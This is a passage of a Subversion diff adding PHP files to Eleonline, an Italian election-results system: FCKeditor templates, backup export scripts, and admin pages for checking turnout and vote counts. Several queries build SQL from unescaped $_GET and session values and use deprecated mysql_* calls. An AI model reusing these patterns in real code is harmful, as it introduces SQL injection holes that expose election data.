+				<table cellspacing="0" cellpadding="0" width="100%" border="0">
+					<tbody>
+						<tr>
+							<td width="50%">
+							<h3>Title 1</h3>
+							</td>
+							<td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>
+							<td width="50%">
+							<h3>Title 2</h3>
+							</td>
+						</tr>
+						<tr>
+							<td>Text 1</td>
+							<td>&nbsp;</td>
+							<td>Text 2</td>
+						</tr>
+					</tbody>
+				</table>
+				More text goes here.
+			]]>
+		</Html>
+	</Template>
+	<Template title="Text and Table" image="template3.gif">
+		<Description>A title with some text and a table.</Description>
+		<Html>
+			<![CDATA[
+				<table align="left" width="80%" border="0" cellspacing="0" cellpadding="0"><tr><td>
+					<h3>Title goes here</h3>
+					<p>
+					<table style="FLOAT: right" cellspacing="0" cellpadding="0" width="150" border="1">
+						<tbody>
+							<tr>
+								<td align="center" colspan="3"><strong>Table title</strong></td>
+							</tr>
+							<tr>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+							</tr>
+							<tr>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+							</tr>
+							<tr>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+							</tr>
+							<tr>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+								<td>&nbsp;</td>
+							</tr>
+						</tbody>
+					</table>
+					Type the text here</p>
+				</td></tr></table>
+			]]>
+		</Html>
+	</Template>
+</Templates>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/htaccess.txt
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/htaccess.txt	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/htaccess.txt	(revision 44)
@@ -0,0 +1,29 @@
+#
+# FCKeditor - The text editor for internet
+# Copyright (C) 2003-2006 Frederico Caldeira Knabben
+# 
+# Licensed under the terms of the GNU Lesser General Public License:
+# 		http://www.opensource.org/licenses/lgpl-license.php
+# 
+# For further information visit:
+# 		http://www.fckeditor.net/
+# 
+# "Support Open Source software. What about a donation today?"
+#
+# ----------------------------------------------------------------------------- 
+#
+# On some specific Linux installations you could face problems with Firefox. 
+# It could give you errors when loading the editor saying that some illegal
+# characters were found (three strange chars in the beginning of the file).
+# This could happen if you map the .js or .css files to PHP, for example.
+#
+# Those characters are the Byte Order Mask (BOM) of the Unicode encoded files.
+# All FCKeditor files are Unicode encoded.
+#
+# Just rename this file to ".htaccess" and leave it in the editor directory. 
+# There are no security issues on doing it. It just sets the ".js" and ".css" 
+# files to their correct content types.
+#
+
+AddType application/x-javascript .js
+AddType text/css .css
Index: /trunk/elezioni/trunk/admin/inc/funzioni.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/funzioni.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/funzioni.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+###########################
+# FCKeditor
+###########################
+
+function js_textarea($name, $value, $config, $cols = 50, $rows = 10)
+{
+   global $editor,$ed_user;
+#    $config=$ed_user;
+   # Don't waste bandwidth by loading WYSIWYG editor for crawlers
+   if ($editor == 0 or !isset($_COOKIE))
+   {
+       echo "<textarea name=\"$name\" cols=\"$cols\" rows=\"$rows\">$value</textarea>";
+   } else {
+	@include_once(INCLUDE_PATH."../../inc/FCKeditor/fckeditor.php");
+	$oFCKeditor = new FCKeditor($name) ;
+	$oFCKheight = $rows * 20;
+	$oFCKeditor->Height = "$oFCKheight";
+	$oFCKeditor->ToolbarSet   = "$config" ;
+	$oFCKeditor->InstanceName = "$name" ;
+	$oFCKeditor->Value = "$value" ;
+	$oFCKeditor->Create() ;   
+   }
+}
+
+
+function js_textarea_html($name, $value, $config, $cols = 50, $rows = 10)
+{
+   global $editor,$ed_user;
+#   $config=$ed_user;
+   
+   # Don't waste bandwidth by loading WYSIWYG editor for crawlers
+   if ($editor == 0 or !isset($_COOKIE))
+   {
+       echo "<textarea name=\"$name\" cols=\"$cols\" rows=\"$rows\">$value</textarea>";
+   } else {
+	@include_once(INCLUDE_PATH."../../inc/FCKeditor/fckeditor.php");
+	$oFCKeditor = new FCKeditor($name) ;
+	$oFCKheight = $rows * 20;
+	$oFCKeditor->Height = "$oFCKheight";
+	$oFCKeditor->ToolbarSet	= "$config" ;
+	$oFCKeditor->InstanceName = "$name" ;
+	$oFCKeditor->Value = "$value" ;
+	$wysiwygHTML = $oFCKeditor->CreateHtml() ;
+	return $wysiwygHTML;
+   }
+}
+
+?>
Index: /trunk/elezioni/trunk/admin/index.php
===================================================================
--- /trunk/elezioni/trunk/admin/index.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/index.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+include("config.php");
+		$dbi=mysql_connect($dbhost, $dbuname, $dbpass) or die("Connessione non riuscita: " . mysql_error());
+		mysql_select_db($dbname)or die("Connessione non riuscita:" . mysql_error());
+	mysql_query("SET NAMES 'utf8'", $dbi);
+//---10/05/2009  gestione consultazione predefinita
+//if (!isset($_SESSION['id_comune'])){
+		$res_config = mysql_query("select * from ".$prefix."_config ",$dbi);
+		list ($sitename,$siteurl,$site_logo,$slogan,$startdate,$adminmail,$tema,$foot,$language,$blocco,$testata,$logo,$fileout,$copyright,$versione,$patch,$id_comune) = mysql_fetch_row($res_config);
+		$siteistat=$id_comune;
+//}
+    Header("Location: admin.php?id_comune=$siteistat");
+die();
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/aggiorna.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/aggiorna.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/aggiorna.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+
+/************************************************************************/
+/* copia lista elezioni 1999 a elezioni 99 candidati, liste, gruppi     */
+/* 2003                                                                 */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+
+$perms=ChiSei($id_cons_gen);
+if ($perms>128) {
+
+	if (!IsSet($mainfile)) { include ("mainfile.php"); }
+	$res = sql_query("SELECT tipo_cons FROM ".$prefix."_ele_consultazione where id_cons=$id_cons " , $dbi);
+	list($tipo_cons) = sql_fetch_row($res, $dbi);
+
+	include("modules/Elezioni/language/lang-$currentlang.php");
+	include("includes/javascript.php");
+	include("modules/Elezioni/funzionidata.php");
+	include("modules/Elezioni/ele.php");
+
+	global $admin, $bgcolor1, $bgcolor2,  $bgcolor6, $prefix, $dbi, $offset, $min, $id_cons;
+
+
+/*
+		$res=sql_query("select * from ".$prefix."_ele_lista where id_cons='12'", $dbi);
+	while (list($id_cons2,$id_lista,$num_lista,$id_gruppo,$id_circ,$descrizione,$simbolo)=sql_fetch_row($res,$dbi)){
+sql_query("insert into ".$prefix."_ele_lista values ('22','','$num_lista','$id_gruppo','$id_circ','$descrizione','nulla.jpg')", $dbi);
+  //       echo "Lista= $descrizione  [$id_lista] [$id_cons2] <br>";
+}
+*/
+
+	$res=sql_query("select * from ".$prefix."_ele_candidati where id_cons='12'", $dbi);
+	while (list($id,$id_cons2,$id_lista,$cognome,$nome,$note,$simbolo,$num_cand)=sql_fetch_row($res,$dbi)){
+sql_query("insert into ".$prefix."_ele_candidati values ('','22','','$cognome','$nome','$note','nulla.jpg','$num_cand')", $dbi);
+//         echo "Candidato= $cognome $nome [$id] [$id_cons2] [$id_lista]<br>";
+}
+
+
+}
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/backup.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/backup.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/backup.php	(revision 44)
@@ -0,0 +1,17 @@
+<?php
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+if (isset($param['id_cons_gen']))
+	 $id_cons_gen2=intval($param['id_cons_gen']);
+if (isset($param['id_comune']))
+	 $id_comune2=intval($param['id_comune']);
+$result = mysql_query("select descrizione from ".$prefix."_ele_consultazione  where id_cons_gen='$id_cons_gen2'", $dbi);
+list($nomeFile) = mysql_fetch_row($result);
+#$nomeFile="backup";
+header( 'Content-Type: application/octet-stream' );
+header( 'Content-Disposition: attachment; filename="'.$nomeFile.'"' );
+#header( 'Content-Length:'.strlen( $content ) );
+header( 'Content-Transfer-Encoding: binary' );
+include("backup2.php");
+exit(0);
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/backup2.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/backup2.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/backup2.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php
+$res_comune = mysql_query("select id_cons from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune='$id_comune'" ,$dbi);
+list($id_cons)=mysql_fetch_row($res_comune);
+$res_comune = mysql_query("select * from ".$prefix."_ele_cons_comune where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_cons_comune");
+$res_comune = mysql_query("select * from ".$prefix."_ele_gruppo where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_gruppo");
+$res_comune = mysql_query("select * from ".$prefix."_ele_lista where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_lista");
+$res_comune = mysql_query("select * from ".$prefix."_ele_candidati where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_candidati");
+$res_comune = mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_circoscrizione");
+$res_comune = mysql_query("select * from ".$prefix."_ele_sede where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_sede");
+$res_comune = mysql_query("select * from ".$prefix."_ele_sezioni where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_sezioni");
+$res_comune = mysql_query("select * from ".$prefix."_ele_link where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_link");
+$res_comune = mysql_query("select * from ".$prefix."_ele_come where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_come");
+$res_comune = mysql_query("select * from ".$prefix."_ele_numeri where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_numeri");
+$res_comune = mysql_query("select * from ".$prefix."_ele_servizi where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_servizi");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_candidati where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_candidati");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_gruppo where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_gruppo");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_lista where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_lista");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_parziale where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_parziale");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_ref where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_ref");
+
+
+function scarica_array($res_comune,$tab){
+echo "[$tab]\n";
+if ($res_comune)
+while ($lista = mysql_fetch_array($res_comune, MYSQL_ASSOC)) {
+	$x=0;
+	foreach ($lista as $key=>$val) {$lista[$key]=base64_encode($val);
+		if ($x++) echo ":";
+		
+		echo "'".$lista[$key]."'";
+	}
+	echo "\n";
+}
+}
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/controllo_votanti.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/controllo_votanti.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/controllo_votanti.php	(revision 44)
@@ -0,0 +1,192 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Controllo dei votanti                                         */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+$id_cons_gen=$_GET['id_cons_gen'];
+$bgcolor0=$_SESSION['bgcolor1'];
+$perms=ChiSei($id_cons_gen);
+if ($perms<16 or !$id_cons_gen) die("$perms ".$_SESSION['id_comune'].$_SESSION['aid'].";Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+$res = mysql_query("SELECT genere FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' " , $dbi);
+	list($genere) = mysql_fetch_row($res);
+if (isset($param['ops'])) get_magic_quotes_gpc() ? $ops=$param['ops']:$ops=addslashes($param['ops']); else $ops='';
+if (isset($param['pag'])) $pag=intval($param['pag']); else $pag=0;
+if (isset($param['num_ref'])) $num_ref=intval($param['num_ref']);
+if (isset($param['num_refs'])) $num_refs=intval($param['num_refs']);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+//	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+//	."//-->\n";
+//	echo "function com_pref(testo) {\n";
+//	echo "window2=open(testo,\"test di apertura\")\n";
+//	echo "}\n";
+//	echo "</script>\n";
+
+ele();
+//**************************************************************************
+//        ELE
+//**************************************************************************
+ 
+    global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $genere, $id_gruppo;
+	
+	$cond='';
+	if ($genere==0) {
+		if (!IsSet($pag)) {$pag=0;} //inizializza il numero di pagina 
+		if (!IsSet($num_ref)) { 
+			$num_ref=1;
+			$resg = mysql_query("SELECT id_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons", $dbi);
+			$num_refs= mysql_num_rows($resg); //quante pagine?
+		}
+		$resg = mysql_query("SELECT id_gruppo,num_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons and num_gruppo=$num_ref", $dbi);
+		list($idg,$numg) = mysql_fetch_row($resg);
+		$id_gruppo=$idg;
+		$cond= "and id_gruppo=$id_gruppo";
+		echo "\n<table border=\"0\" width=\"100%\" bgcolor=\"$bgcolor1\" ><tr><td align=\"center\">"._CONSULTAZIONE." N. ".$numg."</td></tr></table>\n<hr>";
+	}
+	$i=1;
+	$res = mysql_query("SELECT num_sez,id_sez,t1.id_sede, t2.id_circ,maschi,femmine,(maschi+femmine) as elettori FROM ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede order by num_sez", $dbi);
+	while ($linka[$i++] = mysql_fetch_array($res));
+	$num_sez = mysql_num_rows($res); //numero totale delle sezioni
+	$tot_compl=0;$tot_u=0;$tot_d=0;
+//	$ar['riga1'][0]="<hr>";
+	$ar[0][0]="<b>"._TOTS."</b>";
+	$ar['perc'][0]=_PERC;
+//	$ar['riga2'][0]="<hr>";
+	for ($i=1;$i<=$num_sez;$i++)
+	{	
+		$ar[$i]['numsez']=$i;
+		$ar[$i]['elettori']=number_format($linka[$i]['elettori'],0,',','.');
+		$tot_compl+=$linka[$i]['elettori'];
+		$tot_u+=$linka[$i]['maschi'];
+		$tot_d+=$linka[$i]['femmine'];
+		
+	}
+	$ar[0][1]="<b>".number_format($tot_compl,0,',','.')."</b>";
+//	$ar['riga1'][1]="<hr>";
+	$ar['perc'][1]=" ";
+//	$ar['riga2'][1]="<hr>";
+	$resril = mysql_query("SELECT data,orario FROM ".$prefix."_ele_rilaff where id_cons_gen='$id_cons_gen' order by data,orario", $dbi);
+	$num_ril= mysql_num_rows($resril);  //numero delle rilevazioni previste
+	echo "\n<table border=\"0\" width=\"100%\"  align=\"center\">";
+	echo "<tr bgcolor=\"$bgcolor1\" align=\"center\"><td width=\"5%\"><b>"._SEZIONI."</b></td><td><b>"._ISCRITTI."<br>"._INSEZ."</b></td>";
+	$ressomma = mysql_query("SELECT  data,orario,sum(voti_complessivi),sum(voti_uomini),sum(voti_donne) from ".$prefix."_ele_voti_parziale where id_cons=$id_cons $cond group by data,orario", $dbi);
+	while (list($data,$ora,$somma,$votiu,$votid) = mysql_fetch_row($ressomma)) {
+		$perc_u='';$perc_d='';$perc_c='';
+		if($votiu or $votid)
+		{
+			$tot[$data.$ora]="\n<table width=\"100%\"><tr align=\"center\"><td width=\"30%\"><b>".number_format($votiu,0,',','.')."</b></td><td width=\"30%\"><b>".number_format($votid,0,',','.')."</b></td><td><b>".number_format($somma,0,',','.')."</b></td></tr></table>\n";
+			$perc_u=number_format($votiu*100/$tot_u,2);
+			$perc_d=number_format($votid*100/$tot_d,2);
+			$perc_c=number_format($somma*100/$tot_compl,2);
+		}
+		else
+			$tot[$data.$ora]=$somma;
+	}
+	$ud=0;$ora_rif="";
+	while (list($data1,$ora1) = mysql_fetch_row($resril)) 
+	{
+		$ud++;	
+		list($hour, $minute, $second) = explode(":", $ora1);
+		$ora_ril=$hour.":".$minute;
+		echo "<td";
+		if ($ud==$num_ril) {$ora_rif="$data1.$ora1";}
+		echo ">".form_data($data1)."<br>"._ORE." ".$ora_ril;
+		$resaff = mysql_query("SELECT count(data) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and data='$data1' and orario='$ora_ril' $cond", $dbi);
+		list($num_scr) = mysql_fetch_row($resaff);  //numero delle sezioni inserite
+		echo "<br>"._SEZIONI." $num_scr "._SU." $num_sez";
+		if ($ud==$num_ril) echo "<br>\n<table width=\"100%\"><tr align=\"center\"><td width=\"30%\">"._UOMINI."</td><td width=\"30%\">"._DONNE."</td><td>"._COMPLESSIVI."</td></tr></table>\n";
+		
+		echo "</td>";
+//	$ar['riga1'][$data1.$ora1]="<hr>";
+	if (isset($tot[$data1.$ora1])){
+		if ($ora_rif=="$data1.$ora1")
+		{
+			$ar['perc'][$data1.$ora1]="\n<table width=\"100%\"><tr align=\"center\"><td width=\"30%\"><i>$perc_u%</i></td><td width=\"30%\"><i>$perc_d%</i></td><td><i>$perc_c%</i></td></tr></table>\n";
+			$ar[0][$data1.$ora1]=$tot[$data1.$ora1];
+		}
+		else
+		{
+			$ar['perc'][$data1.$ora1]="<i>".number_format($tot[$data1.$ora1]*100/$tot_compl,2)."%</i>";
+			$ar[0][$data1.$ora1]="<b>".(number_format($tot[$data1.$ora1],0,',','.'))."</b>";
+		}
+//	$ar['riga2'][$data1.$ora1]="<hr>";
+		if (intval(preg_match("/[1-9]/",$tot[$data1.$ora1]))>0) {
+			for ($i=1;$i<=$num_sez;$i++)
+			{
+				$ar[$i][$data1.$ora1]="<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=".$linka[$i]['id_sez']."&amp;id_circ=".$linka[$i]['id_circ']."&amp;id_sede=".$linka[$i]['id_sede']."&amp;do=spoglio&amp;ops=1\"><span style=\"color: rgb(255, 0, 0);\">non rilevata</span>";
+			}
+		}
+	}
+	}
+	$resvoti = mysql_query("SELECT  data,orario,t2.num_sez,voti_uomini, voti_donne, voti_complessivi from ".$prefix."_ele_voti_parziale as t1, ".$prefix."_ele_sezioni as t2 where t1.id_cons=$id_cons and t1.id_sez=t2.id_sez $cond order by data,orario,t2.num_sez", $dbi);
+	$ud=0;
+	while (list($data,$ora,$numsez,$uomini,$donne,$complessivi) = mysql_fetch_row($resvoti)) {
+		if ($ora_rif=="$data.$ora")
+			$ar[$numsez][$data.$ora]="\n<table width=\"100%\"><tr align=\"center\"><td width=\"30%\">$uomini</td><td width=\"30%\">$donne</td><td>$complessivi</td></tr></table>\n";
+		else
+			$ar[$numsez][$data.$ora]=$complessivi;
+		if ($uomini+$donne>0) {
+			if ($uomini+$donne!=$complessivi) {
+				$ar[$numsez]['controllo']= "<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=".$linka[$numsez]['id_sez']."&amp;id_circ=".$linka[$numsez]['id_circ']."&amp;id_sede=".$linka[$numsez]['id_sede']."&amp;do=spoglio&amp;ops=1\"><span style=\"color: rgb(255, 0, 0);\">ERRORE</span></a>";
+			} else {
+				$ar[$numsez]['controllo']= "OK";
+			}
+		}
+	}
+    echo "<td><b>"._STATO."</b></td></tr>\n";
+
+	foreach ($ar as $i => $arr) {
+		echo "<tr bgcolor=\"$bgcolor2\" align=\"center\">";
+		foreach ($arr as $valore)
+		{
+		
+			echo "<td >$valore</td>";
+		}
+		echo "</tr>\n";
+	}
+
+	
+	
+
+     if($genere==0){ //se e' referendum
+        #'Pagina precedente' e 'Pagina Successiva'
+      echo "\n<table width=\"100%\"><tr align=middle>";
+	    $cur=$num_ref;
+        if ($cur>1) {
+              $num_ref--;
+			  echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=controllo_votanti&amp;id_cons_gen=$id_cons_gen&amp;num_ref=$num_ref&amp;num_refs=$num_refs\">";
+              echo "<b>"._PREV_MATCH."</b></a></td>";
+        }
+        if ($cur<$num_refs) {
+	        $cur++;        
+			echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=controllo_votanti&amp;id_cons_gen=$id_cons_gen&amp;num_ref=$cur&amp;num_refs=$num_refs\">";
+            echo "<b>"._NEXT_MATCH."</b></a></td>";
+        }
+        echo "</tr></table>\n";
+	}
+
+	echo "</table>\n<br>\n";
+
+  echo "</table>\n";
+  include ("footer.php");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/controllo_voti.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/controllo_voti.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/controllo_voti.php	(revision 44)
@@ -0,0 +1,244 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Controllo dei voti                                            */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+$id_cons_gen=$_GET['id_cons_gen'];
+$bgcolor1=$_SESSION['bgcolor1'];
+$bgcolor2=$_SESSION['bgcolor2'];
+
+$perms=ChiSei($id_cons_gen);
+if ($perms<16 or !$id_cons_gen) die("$perms Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+$res = mysql_query("SELECT genere,voto_g,voto_l FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' " , $dbi);
+	list($genere,$votog,$votol) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+if (! get_magic_quotes_gpc()) $magic='addslashes'; else $magic='';
+if (isset($param['ops'])) get_magic_quotes_gpc() ? $ops=$param['ops']:$ops=addslashes($param['ops']); else $ops='';
+if (isset($param['pag'])) $pag=intval($param['pag']); else $pag=0;
+if (isset($param['num_ref'])) $num_ref=intval($param['num_ref']);
+if (isset($param['num_refs'])) $num_refs=intval($param['num_refs']);
+ele();
+//**************************************************************************
+//        ELE
+//**************************************************************************
+ 
+    global $prefix, $dbi,$fascia,$limite;
+	$res = mysql_query("SELECT sum(maschi),sum(femmine) FROM ".$prefix."_ele_sezioni where id_cons='$id_cons'", $dbi);
+	list($totm,$totf) = mysql_fetch_row($res);
+	$totel=$totm+$totf;
+	if (!IsSet($pag)) {$pag=0;} //inizializza il numero di pagina 
+	if (!IsSet($num_ref)) { 
+		$num_ref=1;
+		$resg = mysql_query("SELECT id_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons", $dbi);
+		$num_refs= mysql_num_rows($resg); //quante pagine?
+	}
+	if((($genere!=4) and $pag==0 and !$votog) or $genere==1 or $genere==2){ //diverso da liste a piu' candidati
+		$ops=4;	//gestione gruppi (anche liste uninominali)
+	}else{
+		$ops=3; //gestione liste
+	}
+	OpenTable();
+	$resg = mysql_query("SELECT id_gruppo,num_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons and num_gruppo=$num_ref", $dbi);
+	list($idg,$numg) = mysql_fetch_row($resg);
+	$res = mysql_query("SELECT id_sez,num_sez,t1.id_sede as id_sede,t2.id_circ as id_circ FROM ".$prefix."_ele_sezioni as t1,".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede order by num_sez", $dbi);
+	$num_sez = mysql_num_rows($res); //quante sezioni?
+for ($i=1;$i<=$num_sez;$i++){
+		$sezione[$i]=mysql_fetch_array($res, 3); //inizializza l'array delle sezioni
+		$ar[$i]=0;
+	}
+	$tab3="_ele_voti_lista";
+//	if ($genere==3) {$tab3="_ele_voti_candidati";} else {$tab3="_ele_voti_lista";} //i voti di lista per le uninominali sono memorizzati in ele_voti_candidati altrimenti in ele_voti_lista.
+if ($genere==1 or $genere==2) $tab3="_ele_voti_gruppo";
+	if ($genere>0) {  //se non e' un referendum
+		if (!($genere==4) and $pag==0){  //se non e' una lista uninominale ed e' la prima pagina
+			$tab="SELECT 0,t2.id_sez,t2.num_sez,t2.validi,'0',t2.validi,t2.nulli,t2.bianchi,t2.contestati, t4.id_circ,t2.id_sede,'0',t2.voti_nulli,t2.validi_lista,t2.voti_nulli_lista,t2.contestati_lista,t2.solo_gruppo FROM ".$prefix."_ele_sezioni as t2 left join ".$prefix."_ele_sede as t4 on (t2.id_sede=t4.id_sede) where t2.id_cons='$id_cons' and t2.validi+t2.nulli+t2.bianchi+t2.contestati>0 group by t2.id_sez order by t2.num_sez";
+
+		}else{ // e' una lista uninominale o la seconda pagina
+			$tab="SELECT '0',t1.id_sez,t1.num_sez,sum(t2.voti),t1.solo_gruppo,t1.validi,t1.nulli,t1.bianchi,t1.contestati, t4.id_circ,t1.id_sede,'0',t1.voti_nulli,t1.validi_lista,t1.voti_nulli_lista,t1.contestati_lista,t1.solo_gruppo
+			FROM ".$prefix."_ele_sezioni as t1 left join ".$prefix.$tab3." as t2 on (t1.id_sez=t2.id_sez)
+			left join ".$prefix."_ele_sede as t4 on (t1.id_sede=t4.id_sede)
+			where t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons group by t2.id_sez order by t1.num_sez";
+		}
+		$riga1="<tr><td>\n<table border=\"0\" width=\"100%\" bgcolor=\"$bgcolor1\" ><tr><td align=\"center\">"._SEZSCR." "._CONSULTAZIONE."</td></tr></table></td></tr>\n";
+	}else{ // e' un referendum
+		$tab="SELECT t1.id_gruppo,t1.id_sez,t2.num_sez,t1.si,t1.no,t1.validi,t1.nulli,t1.bianchi,t1.contestati, t4.id_circ,t2.id_sede,t3.num_gruppo,'0','0','0','0','0'
+		FROM ".$prefix."_ele_voti_ref as t1 left join ".$prefix."_ele_sezioni as t2 on (t1.id_sez=t2.id_sez)
+		left join  ".$prefix."_ele_gruppo as t3 on (t1.id_gruppo=t3.id_gruppo) left join ".$prefix."_ele_sede as t4 on (t2.id_sede=t4.id_sede)
+		where t1.id_cons='$id_cons' and t1.id_gruppo='$idg' order by t2.num_sez";
+		$riga1= "<tr><td>\n<table border=\"0\" width=\"100%\" bgcolor=\"$bgcolor1\" ><tr><td align=\"center\">"._SEZSCR." "._CONSULTAZIONE." N. ".$numg."</td></tr></table></td></tr>\n";
+	}
+	$res = mysql_query("$tab ", $dbi);
+	$num_scr = mysql_num_rows($res);
+	$riga2= "<tr><td>\n<table border=\"0\" width=\"100%\" bgcolor=\"$bgcolor1\" ><tr><td align=\"center\">"._SEZIONI." $num_scr "._SU." $num_sez</td></tr></table></td></tr>\n";//sezioni scrutinate
+	$riga2 .= "<tr><td>\n<table border=\"0\" width=\"100%\"  align=\"center\">";
+	$riga3 = "<tr bgcolor=\"$bgcolor2\" align=\"center\"><td width=\"5%\"><b>"._SEZIONI."</b></td>"
+    ."<td><b>"._VOTIU."</b></td>"."<td><b>"._VOTID."</b></td>"."<td><b>"._VOTIE."</b></td>"; //testata con nomi dei campi
+	if ($genere==0) {  //se e' un referendum
